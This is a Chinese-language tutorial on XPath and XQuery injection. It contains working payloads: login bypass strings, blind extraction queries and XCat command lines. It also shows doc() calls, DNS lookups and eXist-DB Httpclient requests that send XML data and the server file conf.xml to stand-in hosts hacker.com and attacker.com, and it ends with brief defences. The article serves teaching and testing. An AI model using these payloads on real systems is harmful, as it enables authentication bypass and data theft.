简介
Xpath1.0是一种被很好支持和相当老的在XML文档中选择节点并返回计算后的值的查询语言。大量的编程语言,包括Java、C/C++、Python、C#、JavaScript、Perl等都拥有自购丰富的库支持Xpath1.0。
在一个单一的XML文档中,使用Xpath1.0可以方便的查询过滤节点,举例:
- <users>
- <user>
- <name>James Peter</name>
- <username>jtothep</username>
- <password>password123!</password>
- <admin>1</admin>
- </user>
- <user>
- <name>Chris Stevens</name>
- <username>ctothes</username>
- <password>reddit12</password>
- <admin>0</admin>
- </user>
- </users>
一个简单的Web应用登录表单
使用用户名"jtothep"和密码“password123!”输入到表单中,后台执行的查询语法如下:
/*[1]/user[username=”jtothep”and password=”password123!”]
返回的用户节点
- <user>
- <name>James Peter</name>
- <username>jtothep</username>
- <password>password123!</password>
- <admin>1</admin>
- </user>
Xpath注入
如果程序没有验证用户查询输入,就会发生Xpath注入,攻击者可以提交恶意的请求修改查询语句,导致:事物逻辑和认证绕过,获取后端XML数据库内容。
不像传统的关系型数据库,可以对数据库、表、行或者列执行细粒度的访问控制,XML没有用户或者权限的概念。这意味着整个数据库都可以被用户读取,在应用中属于很严重的安全漏洞。
利用Xpath
绕过认证
如果一个认证过程是如下形式
/*[1]/user[username=”jtothep”and password=”password123!”]
攻击者可以提交以下输入
username: jtohep"or "1" ="1 password: anything
Xpath的查询会变成
/*[1]/user[username=”jtothep"or "1"="1” and password=”anything”]
攻击者可以以jtohep的用户登录并且绕过实际的密码认证,这是因为XPath中的OR语法查询导致条件一直为真,类似SQL的and语法,Xpath的查询语法为:
username="jtothep" or [TRUE AND False]
结果就是
username="jtothep" or FALSE
如果jtothep这个用户被验证存在,攻击者就可以使用这个用户的身份登录,在通常的实践中使用加密形式的密码保存在用户表中,用户输入的密码也要经过加密计算再与用户表中的哈希密码进行匹配。因此使用加密形式的密码会较少的存在漏洞,使用加密查询的语法如下:
'/*[1]/user[username=”'.$username. '” and password=”' .md5(password). '”]'
如果攻击者不知道一个正确的用户名,他仍可以绕过认证
/*[1]/user[username=”non_existing"or "1"="1” or "1" ="1"and password=”5f4dcc3b5aa765d61d8327deb882cf99”]
执行会显示成如下的形式:
username="non_existing" or TRUE or [True AND False]
结果是:
username="non_existing" or TRUE or FALSE.
结果会以第一个节点的身份登录系统。
提取后端数据库
现在有2个版本的Xpath,1.0和2.0,Xpath2.0是1.0的超集,支持更广的特征兼容很多复杂的数据类型。同样1.0存在的漏洞也能转移到2.0中。
以一个图书馆查询功能为例,查询语法如下:
“/lib/book[title=' +TITLE + ']”.
XML数据如下:
- <lib>
- <book>
- <title>Bible</title>
- <description>Theword of god</description>
- </book>
- <book>
- <title>Da Vincicode</title>
- <description>Abook</description>
- </book>
- </lib>
如果知道图书名字,可以注入以下内容:
/lib/book[title=”Bible”and “1” = “1”] payload为 ”and “1” = “1 /lib/book[title=”Bible”and count(/*) = 1 and “1”=”1”]
如果所有的过滤条件为真这个查询只返回为真,如果查询成功“/*”只返回一个节点,查询不成功不会有显示
Xpath1.0结构定义了少量几个可以在XML文档中应用的功能
- Count (NODESET) – 像是上面的举例count() 返回节点集中子节点的数目
- String-length (STRING) –返回指定字符串的长度,获得一个节点名的长度可以使用以下语法: string-length(/*[1]/*[1]/name())
- Substring (STRING, START,LENGTH) – 这个功能用来枚举一个节点的文本值,我们可以使用substring匹配指定字符串与节点中的字符串,可以循环的通过实体字符表获取所有字符的值。
使用基本语言设计和注入点,可以做到以下
1.获取节点的名字
2.计算节点的数量
3.对于每个节点
a.获取名字
b.获取值
4.获取注释节点的数量
5.对于每个注释节点
a.获取注释值
6.计算子节点的数量
7.对于每个子节点
a.Go to step
8.获取节点的文本内容。
Xcat介绍
Xcat是python的命令行程序利用Xpath的注入漏洞在Web应用中检索XML文档,支持Xpath1.0和2.0,使用举例如下:
python xcat.py --true"Book Found" --arg="title=Bible" --method POST--quotecharacter=\" http://vulnhost.com:80/vuln.php
XPath 2.0 滥用
XPath获得了W3C的推荐,相比1.0版本增加了很多特征。支持条件声明,更多的功能和数据类型,并且向后兼容。
检测Xpath版本
探测Xpath版本非常简单,使用lower-case()功能将大写字符转换成小写字符,然后跟小写字符进行对比,如果结果为空,意味着没有lower-case()函数定义,版本为1.0,另外的情况就是2.0版本。
/lib/book[title="Bible"and lower-case('A') = "a"]
探测系统和工作目录
在Xpath2.0中base-uri()函数返回当前文档的全路径。
file:///C:/Users/Admin/Documents/example_application/input.xml
可以精确检测到文件系统中XML数据库的位置。
缩小查询密钥空间
当我们使用远程主机注入Xpath漏洞,我们可能一次只能获取很少的信息,有很多方法可以是我们缩小查询的范围。首先我们使用匹配功能观察能减少字符的数量,通过正则和一些文本返回真或假进行判断(大小写字符,数字或特殊符号)
以下查询查找第二本书名中是否含任何大写字符:
matches(/lib/book[2]/title/text(),"[A-Z]")
注意不同语言中正则表达式会有些不同
Unicode字符可以使用normalize-unicode功能可以减少查询范围,normalize-unicode规范化unicode字符“á”为“a” and “’”,ASCII字符,意味着可以提取出Unicode字符,类似Ѭ字符不行。
codepoints特性
将字符转换为整数
string-to-codepoints("abc")-> (97,98,99)
高级Xpath注入
基于错误的提取
在一个条件查询中提取运行时间错误,如果错误展示给用户(或者可以被发觉),可以在不输入信息的状态下提取信息。Xpath 2.0 定义看error()功能,允许开发人员加注自定义的错误信息,用法:
and (if (CONDITION)then error() else 0) and "1" = "1
显示结果如下
XCat可利用这种攻击方式
python main.py –-error "Exception"--arg="title=Anything" --methodPOST--quote_character=\" http://localhost:80
DOC功能滥用
XPath2.0推荐定义一个功能“DOC”,可以URI指向到外部XML文档。可以存在本地或者远程HTTP服务器,称作Xpath库中最好取得XML文档和返回文档根节点。
DOC不是默认的功能,如果RUI不是链接到XML文件也会报错。
危害:
读取包含敏感配置文件或XML数据库的信息
Tomcat的用户配置文件
/tomcat-users/user[@username='"+ username + "' and@password='" + password + "']
Xcat工具也有利用命令
pythonxcat.py –method POST –ary "username2=tomcat&password2=tomcat"–quotecharacter "'" –true "Authenticated as"–connectbackip localhost –connectbackport 80 –fileshell http://localhost:81/
带外通道提取XML数据
HTTP
doc(concat("http://hacker.com/savedata.py?d=",XPATH_EXPRESSION))
DOC功能会使HTTP请求转到攻击者的服务器,在HTTP GET或POST请求中使用encode-for-uri可以格式化字符。
doc(concat("http://hacker.com/savedata.py?d=",encode-foruri(/lib/book[1]/title)))
这将会对任何的字符串数据产生一个有效的查询,例如在示例里第一本书的名字。攻击者可以通过迭代的方式获取XML文件的内容,发送到黑客指定的服务器上分析。
1.2.3.4 -[09/Feb/2012:07:04:36 +0300] "GET /savedata.py?d=BibleHTTP/1.1" 200301 "-" "-" 1.2.3.4 -[09/Feb/2012:07:04:37 +0300] "GET/savedata.py?d=Da%20Vinci%20codeHTTP/1.1" 200 301 "-""-"
Xcat支持通过HTTP请求检索部分文档,Xcat建立一个内部的HTTP服务并监听连接,追踪节点内容并重建XML文件。
python main.py –-error"Exception" --arg="title=Anything" --method POST--quote_character=\" -–connectback -–connectbackip X.X.X.X http://vulnhost.com:80
X.X.X.X是攻击者可以控制的IP
DNS
在上面提及的方法中使用HTTP请求,存在许多限制条件,并不是每次攻击都可以成功,例如目标存在防火墙进行限制。如果是这种情况,可以使用DNS查询来传输数据。
攻击者建立一个域名服务器。
doc(concact(/users/user[1]/username, “.hacker.com”))
服务器尝试解析主机“jtothep.hacker.com”,引发DNS查询并转到攻击者的域名服务器。
15:19:04.996744 IPX.X.X.X.38353 > Y.Y.Y.Y.53: 15310 A? jtothep.hacker.com.
使用DNS服务传递数据有几个缺陷,数据限制在63-255个字符内,如果进行分割的话,可能会导致数据丢失。
XQuery注入
维基中XQuery的定义
"XQuery is a queryand functional programming language that is designed to query collections ofXML data. It provides means to extract and manipulate data from XML documentsor any data source that can be viewed as XML. It uses XPath expressions syntaxto address specific parts of an XML document. It supplements this with aSQL-like "FLWOR expression" for performing joins. A FLWOR expressionis constructed from the five clauses after which it is named: FOR, LET, WHERE,ORDER BY, RETURN"
XQuery是XPath的超集,如果Xpath只是一个查询语言,XQuery是一个程序语言,可以声明自定义的功能、变量等等。类似XPath注入,XQuery注入在没有验证用户输入的情况下也会发生。
一个程序使用用户名查询博客实体,后端使用XQuery查询XML数据。
未经净化的输入可以导致整个XML文件泄露,节点名、字符串属性和值可以通过HTTP方法循环遍历获取:
for $n in /*[1]/* let $x := for $att in $n/@* return(concat(name($att),"=",encode-for-uri($att))) let $y :=doc(concat("http://hacker.com/?name=", encode-for-uri(name($n)), "&data=", encode-for-uri($n/text()), "&attr_", string-join($x,"&attr_"))) for $c in $n/child::* let $x := for $att in $c/@* return(concat(name($c),"=",encode-for-uri($c))) let $y := doc(concat( "http://hacker.com/?child=1&name=", encode-for-uri(name($c)), "&data=", encode-for-uri($c/text()), "&attr_", string-join($x,"&attr_")))
上面语句只在Saxon XSLT解析器中执行,eXist-db’s和 XMLPrime解析器不受影响。
继续说上面的查询实例,用户输入admin,在后台执行的查询为:
- for $blogpost in//post[@author=’admin’]
- return
- <div>
- <hr />
- <h3>{$blogpost/title}</h3><br/>
- <em>{$blogpost/content}</em>
- <hr />
- </div>
如果用户输入admin'] let $x :=/*[' ,注入后的查询结果为:
- for $blogpost in//post[@author=’admin’]
- let $x := /*[‘’]
- return
- <div>
- <hr />
- <h3>{$blogpost/title}</h3><br/>
- <em>{$blogpost/content}</em>
- <hr />
- </div>
攻击者可以在let $x := /*[‘’]中插入任何想执行语句都会在循环中执行,它会
通过所有当前执行文件中的元素循环发出一个GET请求到攻击者的服务器。
URL攻击
http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n %20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att% 20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22 %3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D %20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode -foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode -foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin %28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c% 20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20% 24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C %22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20% 3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp %3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3 Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3 Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29 %0Alet%20%24x%20%3A%3D%20/%2A%5B%27
上面的方法会重复的对攻击者的服务器发送请求,整个XML文档可以通过分析攻击者的服务器访问日志进行获取。
X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31" X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"
通过分析拼接的XML为:
- <posts>
- <postauthorpostauthor="admin">
- <title>Test</title>
- <content>My firstblog post!</content>
- </post>
- <postauthorpostauthor="admin">
- <title>My blog isnow live!</title>
- <content>Welcometo my blog! Please stay away hackers</content>
- </post>
- </posts>
Exist-DB
Exist-DB是一个本地XML数据库,允许应用程序使用不同的技术(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存储、查询和更新XML数据。区别于其他传统的数据库(定义自己的查询协议),Exist-DB使用基于HTTP的接口进行查询,如REST, XML-RPC, WebDAV 和SOAP。
执行一个GET请求,返回一个XML的节点。
还是之前用户博客的查询,假设现在使用的是Exist-DB,HTTP查询请求如下
http://www.vulnhost.com/viewposts?username=admin
后台XPath表达式
doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*
上面查询//posts[@author=’admin’]会返回所有admin的文章,Exist-DB是一个成熟的数据库并且在很好的支持XPath,如果username变量没有进行净化,攻击者可以获取根节点的内容:
http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1
这条语句会携带根节点发名字请求攻击者的服务器
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1])))) or '1'= '1']")))/*[1]
攻击者可以使用上面的技术获得受害服务器的配置信息。
EXist-DB有一个可扩展的模块,它允许程序员用Java编写的模块创建新的XPath/XQuery函数。通过让邮件模块或其他SMTP服务器,I/O文件系统发送电子邮件。以及支持多种HTTP方法,利用LDAP客户端模块,或在在OracleRDBMS执行Oracle的PL/ SQL存储过程等等。这些模块功能强大,但通常这些模块在默认情况下是禁用的。
HTTP模块很有趣,因为它是两个非常强大的,默认情况下启用。攻击者可以简单地使用它来发送序列化根节点(整个文档)到攻击者的服务器,从而在一次操作中获取整个数据库。
http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1
在服务器后台的查询如下
doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]
监听的效果
可以通过DOC功能使HTTP客户端发送任意的本地XML文件到攻击者的服务器
Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())
防御方法
净化用户输入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()这些函数需要特别注意
使用参数化的查询,如Java的Xpath表达式
/root/element[@id=$ID]
限制doc()功能
作者
Thomas Forbes (xcat的作者)
Sumit Siddharth
参考
http://www.balisage.net/Proceedings/vol7/html/Vlist02/BalisageVol7-Vlist02.html
http://www.front2backdev.com/2011/12/19/xquery-injection-mea-culpa/
http://www.slideshare.net/robertosl81/xpath-injection-3547860
http://en.wikipedia.org/wiki/XPath
http://en.wikipedia.org/wiki/XQuery
https://github.com/orf/xcat